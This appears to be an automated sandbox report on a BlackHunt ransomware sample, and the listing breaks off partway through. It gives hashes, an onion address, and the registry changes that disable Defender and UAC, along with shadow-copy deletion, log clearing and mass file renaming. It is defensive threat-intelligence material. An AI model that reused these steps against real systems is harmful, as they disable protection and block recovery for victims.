Analysis
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max time kernel
115s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
28/01/2024, 23:31
Static task
static1
Behavioral task
behavioral1
Sample
674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe
Resource
win10v2004-20231215-en
General
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Target
674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe
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Size
707KB
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MD5
0da43a199dfa17d77a4469a4f22fbcf8
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SHA1
fb4c1de54d33a3b36a0e255c3499a97620462606
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SHA256
320ef5fe12a08019745527381fde243913fea7cd6a01f0327e45e5086c60a1d9
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SHA512
c0b394800d2541a60f0630112024a00569dcd4e99774a0947d8f69a63d004916857441bfb5890a169b2f552d264d799dfd2736b7eafd2495845ecc991f5e7166
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SSDEEP
6144:QcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1x8/vnh:auaTmkZJ+naie5OTamgEoKxLWcXh
Malware Config
Extracted
C:\ProgramData\#BlackHunt_ReadMe.hta
http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion
Signatures
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Deletes NTFS Change Journal 2 TTPs 2 IoCs
The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.
pid Process 5216 fsutil.exe 6956 fsutil.exe -
description ioc Process Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection cmd.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" cmd.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe -
Clears Windows event logs 1 TTPs 5 IoCs
pid Process 16252 wevtutil.exe 8608 wevtutil.exe 15504 wevtutil.exe 15952 wevtutil.exe 16000 wevtutil.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
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Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
pid Process 3328 bcdedit.exe 2920 bcdedit.exe 16264 bcdedit.exe 16304 bcdedit.exe -
Renames multiple (3397) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
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pid Process 5944 wbadmin.exe 5904 wbadmin.exe -
Disables Task Manager via registry modification
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Disables use of System Restore points 1 TTPs
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Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\Control Panel\International\Geo\Nation 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe Key value queried \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\Control Panel\International\Geo\Nation cmd.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe -
Enumerates connected drives 3 TTPs 27 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\I: 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File opened (read-only) \??\P: 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File opened (read-only) \??\G: 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File opened (read-only) \??\V: 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File opened (read-only) \??\M: fsutil.exe File opened (read-only) \??\W: 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File opened (read-only) \??\E: 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File opened (read-only) \??\T: 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File opened (read-only) \??\Z: 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File opened (read-only) \??\X: 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File opened (read-only) \??\Q: 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File opened (read-only) \??\H: 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File opened (read-only) \??\J: 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File opened (read-only) \??\U: 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File opened (read-only) \??\K: 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File opened (read-only) \??\B: 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File opened (read-only) \??\N: 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File opened (read-only) \??\A: 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\R: 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File opened (read-only) \??\O: 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File opened (read-only) \??\L: 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File opened (read-only) \??\F: fsutil.exe File opened (read-only) \??\Y: 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File opened (read-only) \??\S: 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\M: 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 3 ip-api.com -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg" 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe -
Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\jfr.jar 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\eu-es\#BlackHunt_Private.key 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\task-handler\js\nls\nb-no\ui-strings.js 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\pi_brokers\#BlackHunt_ReadMe.txt 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\uk-ua\ui-strings.js 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\js\nls\#BlackHunt_ReadMe.txt 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\reviews\js\nls\en-ae\#BlackHunt_Private.key 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\legal\jdk\xmlresolver.md 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\en-gb\#BlackHunt_ReadMe.hta 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File created C:\Program Files\VideoLAN\VLC\locale\ff\#BlackHunt_ReadMe.hta 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\images\example_icons.png 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\ar_get.svg 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\reviews\js\nls\ca-es\#BlackHunt_ReadMe.txt 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File opened for modification C:\Program Files\7-Zip\Lang\br.txt 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File created C:\Program Files\VideoLAN\VLC\locale\fi\LC_MESSAGES\#BlackHunt_ReadMe.hta 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\pl-pl\#BlackHunt_ReadMe.hta 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\#BlackHunt_Private.key 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\en-gb\#BlackHunt_ReadMe.txt 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\cs-cz\ui-strings.js 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\uk-ua\#BlackHunt_ReadMe.txt 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File opened for modification C:\Program Files\Java\jre-1.8\legal\jdk\jpeg.md 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\tr-tr\#BlackHunt_ReadMe.txt 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\en-us\#BlackHunt_Private.key 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File opened for modification C:\Program Files\Java\jdk-1.8\lib\jconsole.jar 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\viewer\#BlackHunt_ReadMe.txt 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File created C:\Program Files\VideoLAN\VLC\locale\ks_IN\#BlackHunt_ReadMe.hta 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\sv-se\#BlackHunt_ReadMe.hta 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\unified-share\js\nls\eu-es\#BlackHunt_Private.key 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\themes\#BlackHunt_ReadMe.txt 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\fi-fi\PlayStore_icon.svg 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sign-services-auth\js\nls\sk-sk\#BlackHunt_ReadMe.txt 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\download-btn.png 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\Welcome.html 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\ca-es\#BlackHunt_Private.key 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\ca-es\#BlackHunt_ReadMe.txt 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\reviews\js\nls\da-dk\#BlackHunt_ReadMe.hta 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\zh-cn\AppStore_icon.svg 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\zh-cn_get.svg 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sign-services-auth\js\nls\ja-jp\#BlackHunt_ReadMe.hta 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File opened for modification C:\Program Files\Java\jdk-1.8\legal\jdk\relaxngom.md 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\en_GB\LC_MESSAGES\vlc.mo 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\hr-hr\ui-strings.js 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\#BlackHunt_ReadMe.hta 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File created C:\Program Files\VideoLAN\VLC\locale\ro\LC_MESSAGES\#BlackHunt_ReadMe.hta 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\app-center\css\#BlackHunt_Private.key 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\#BlackHunt_ReadMe.txt 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\#BlackHunt_ReadMe.hta 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\es-es\ui-strings.js 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\js\nls\root\#BlackHunt_Private.key 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\reviews\js\nls\tr-tr\#BlackHunt_ReadMe.hta 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\#BlackHunt_ReadMe.txt 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File created C:\Program Files\VideoLAN\VLC\locale\lt\#BlackHunt_Private.key 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\en-ae\#BlackHunt_ReadMe.hta 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\en-gb\ui-strings.js 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\ca-es\#BlackHunt_Private.key 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\#BlackHunt_ReadMe.txt 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File created C:\Program Files\VideoLAN\VLC\locale\ks_IN\LC_MESSAGES\#BlackHunt_Private.key 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File created C:\Program Files\VideoLAN\VLC\locale\ro\LC_MESSAGES\#BlackHunt_ReadMe.txt 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\#BlackHunt_ReadMe.hta 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\tool-search-2x.png 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sign-services-auth\js\nls\pl-pl\ui-strings.js 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\fillandsign.svg 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\images\file_icons.png 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\nl-nl\#BlackHunt_ReadMe.hta 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Program crash 1 IoCs
pid pid_target Process procid_target 16748 13524 WerFault.exe 288 -
Checks SCSI registry key(s) 3 TTPs 4 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000 vds.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName vds.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000 vds.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName vds.exe -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1564 schtasks.exe -
Interacts with shadow copies 2 TTPs 6 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 5060 vssadmin.exe 4492 vssadmin.exe 2980 vssadmin.exe 3860 vssadmin.exe 1004 vssadmin.exe 7492 vssadmin.exe -
Kills process with taskkill 1 IoCs
pid Process 8244 taskkill.exe -
Modifies registry class 11 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\ reg.exe Key created \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000_Classes\Local Settings cmd.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2 reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2 reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon reg.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 7636 PING.EXE -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 3300 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe -
Suspicious use of AdjustPrivilegeToken 24 IoCs
description pid Process Token: SeDebugPrivilege 3300 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe Token: SeRestorePrivilege 3300 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe Token: SeBackupPrivilege 3300 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe Token: SeTakeOwnershipPrivilege 3300 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe Token: SeAuditPrivilege 3300 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe Token: SeSecurityPrivilege 3300 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe Token: SeIncBasePriorityPrivilege 3300 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe Token: SeBackupPrivilege 2288 vssvc.exe Token: SeRestorePrivilege 2288 vssvc.exe Token: SeAuditPrivilege 2288 vssvc.exe Token: SeBackupPrivilege 2680 wbengine.exe Token: SeRestorePrivilege 2680 wbengine.exe Token: SeSecurityPrivilege 2680 wbengine.exe Token: SeSecurityPrivilege 15504 wevtutil.exe Token: SeBackupPrivilege 15504 wevtutil.exe Token: SeSecurityPrivilege 16000 wevtutil.exe Token: SeBackupPrivilege 16000 wevtutil.exe Token: SeSecurityPrivilege 15952 wevtutil.exe Token: SeBackupPrivilege 15952 wevtutil.exe Token: SeSecurityPrivilege 16252 wevtutil.exe Token: SeBackupPrivilege 16252 wevtutil.exe Token: SeSecurityPrivilege 8608 wevtutil.exe Token: SeBackupPrivilege 8608 wevtutil.exe Token: SeDebugPrivilege 8244 taskkill.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3300 wrote to memory of 3828 3300 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe 86 PID 3300 wrote to memory of 3828 3300 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe 86 PID 3300 wrote to memory of 536 3300 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe 171 PID 3300 wrote to memory of 536 3300 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe 171 PID 3300 wrote to memory of 4792 3300 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe 90 PID 3300 wrote to memory of 4792 3300 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe 90 PID 3300 wrote to memory of 3120 3300 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe 93 PID 3300 wrote to memory of 3120 3300 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe 93 PID 3300 wrote to memory of 4912 3300 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe 92 PID 3300 wrote to memory of 4912 3300 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe 92 PID 3300 wrote to memory of 4372 3300 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe 96 PID 3300 wrote to memory of 4372 3300 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe 96 PID 3300 wrote to memory of 392 3300 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe 98 PID 3300 wrote to memory of 392 3300 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe 98 PID 4792 wrote to memory of 3020 4792 cmd.exe 101 PID 4792 wrote to memory of 3020 4792 cmd.exe 101 PID 536 wrote to memory of 3452 536 cmd.exe 100 PID 536 wrote to memory of 3452 536 cmd.exe 100 PID 4912 wrote to memory of 4904 4912 cmd.exe 102 PID 4912 wrote to memory of 4904 4912 cmd.exe 102 PID 3300 wrote to memory of 1248 3300 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe 103 PID 3300 wrote to memory of 1248 3300 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe 103 PID 3828 wrote to memory of 4708 3828 cmd.exe 107 PID 3828 wrote to memory of 4708 3828 cmd.exe 107 PID 3120 wrote to memory of 4140 3120 cmd.exe 105 PID 3120 wrote to memory of 4140 3120 cmd.exe 105 PID 3300 wrote to memory of 5060 3300 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe 191 PID 3300 wrote to memory of 5060 3300 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe 191 PID 3300 wrote to memory of 2536 3300 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe 109 PID 3300 wrote to memory of 2536 3300 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe 109 PID 4372 wrote to memory of 224 4372 cmd.exe 111 PID 4372 wrote to memory of 224 4372 cmd.exe 111 PID 3300 wrote to memory of 3180 3300 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe 112 PID 3300 wrote to memory of 3180 3300 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe 112 PID 1248 wrote to memory of 4048 1248 cmd.exe 114 PID 1248 wrote to memory of 4048 1248 cmd.exe 114 PID 3300 wrote to memory of 4428 3300 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe 119 PID 3300 wrote to memory of 4428 3300 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe 119 PID 5060 wrote to memory of 1152 5060 vssadmin.exe 115 PID 5060 wrote to memory of 1152 5060 vssadmin.exe 115 PID 3300 wrote to memory of 2644 3300 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe 118 PID 3300 wrote to memory of 2644 3300 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe 118 PID 3300 wrote to memory of 212 3300 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe 116 PID 3300 wrote to memory of 212 3300 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe 116 PID 392 wrote to memory of 316 392 cmd.exe 185 PID 392 wrote to memory of 316 392 cmd.exe 185 PID 2536 wrote to memory of 4968 2536 cmd.exe 123 PID 2536 wrote to memory of 4968 2536 cmd.exe 123 PID 3300 wrote to memory of 836 3300 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe 124 PID 